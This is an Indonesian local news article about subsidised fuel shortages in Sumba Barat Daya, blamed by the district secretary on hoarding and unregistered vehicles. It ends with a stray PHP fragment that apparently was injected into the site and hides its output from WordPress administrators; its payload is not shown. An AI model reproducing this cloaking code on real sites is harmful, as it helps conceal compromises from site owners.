Ekonomi

Sekda SBD: Penertiban Penimbunan dan Kendaraan Bodong Jadi Kunci Atasi Kelangkaan BBM Bersubsidi

×

Sekda SBD: Penertiban Penimbunan dan Kendaraan Bodong Jadi Kunci Atasi Kelangkaan BBM Bersubsidi

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM — Pemerintah Kabupaten Sumba Barat Daya (SBD) menegaskan upaya penertiban penyaluran bahan bakar minyak (BBM) bersubsidi terus dilakukan melalui pengawasan rutin guna mencegah praktik penimbunan dan penjualan eceran dengan harga tinggi.

Sekretaris Daerah Kabupaten SBD, Drs Edmundus Norbertus Nau menyampaikan hal tersebut kepada media, Senin (22/06/2026).

Menurut Sekda, pemerintah daerah selama ini telah membentuk tim pengawasan yang bekerja secara berkala hampir setiap minggu. Namun, pengawasan dinilai belum cukup apabila masih terdapat pihak-pihak yang menyalahgunakan distribusi BBM bersubsidi.

“Pemerintah sudah memfasilitasi dan menindaklanjuti melalui pengawasan. Tim yang dibentuk hampir setiap minggu turun melakukan penertiban. Tetapi kalau masyarakat tetap tidak sadar, kelangkaan BBM tetap terjadi,” ujarnya.

Ia menjelaskan, kuota BBM sebenarnya telah dihitung berdasarkan kebutuhan daerah dan dinilai masih mencukupi hingga akhir tahun. Namun, kondisi di lapangan menunjukkan konsumsi meningkat akibat penggunaan oleh pihak yang tidak sesuai peruntukan.

Sekda mencontohkan kondisi yang mulai berdampak di wilayah Kodi dan Kodi Utara, di mana menurutnya terdapat praktik pengisian BBM menggunakan kendaraan yang tidak terdata atau disebut kendaraan bodong.

Ia menegaskan, pemerintah daerah memiliki kewenangan pada aspek pengawasan dan menjamin ketersediaan BBM, sedangkan tindakan hukum terhadap kendaraan ilegal menjadi ranah aparat penegak hukum.

“Pemda hanya melakukan pengawasan. Kalau kendaraan bodong yang digunakan untuk mengambil BBM, itu bukan kewenangan Pemda. Polisi yang melakukan penindakan,” katanya.

Pemkab SBD bersama pihak terkait juga telah menyepakati mekanisme penindakan agar tidak dilakukan di dalam area SPBU guna menghindari potensi konflik dan gangguan terhadap fasilitas publik.

Dalam skema yang dibahas, kendaraan yang dicurigai tetap diberikan kesempatan mengisi BBM terlebih dahulu, kemudian dilakukan pemeriksaan atau penindakan setelah keluar dari area SPBU.

Selain itu, Pemkab berencana memperkuat koordinasi lintas sektor melalui rapat Forum Koordinasi Pimpinan Daerah (Forkopimda) untuk memperjelas pembagian kewenangan antara pemerintah daerah, kepolisian, dan instansi lain.

Sekda juga menyoroti pentingnya penataan administrasi kendaraan melalui dukungan pihak Samsat, terutama terkait kendaraan tanpa dokumen, kendaraan dengan pelat tidak jelas, maupun yang belum melakukan balik nama.

Menurutnya, kendaraan yang tidak terdata tetapi ikut mengonsumsi BBM bersubsidi berpotensi membuat perhitungan kuota menjadi tidak akurat dan memicu kelangkaan di lapangan.

“Kalau kendaraan dari luar dan kendaraan bodong ikut mengambil BBM, sementara perhitungan kuota berdasarkan jumlah kendaraan yang terdaftar, tentu kuota menjadi cepat habis,” ujarnya.

Pemerintah berharap keterlibatan seluruh pihak, mulai dari masyarakat, pengelola SPBU, aparat penegak hukum, hingga instansi terkait agar distribusi BBM bersubsidi dapat berjalan tepat sasaran dan ketersediaannya tetap terjaga di Kabupaten Sumba Barat Daya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>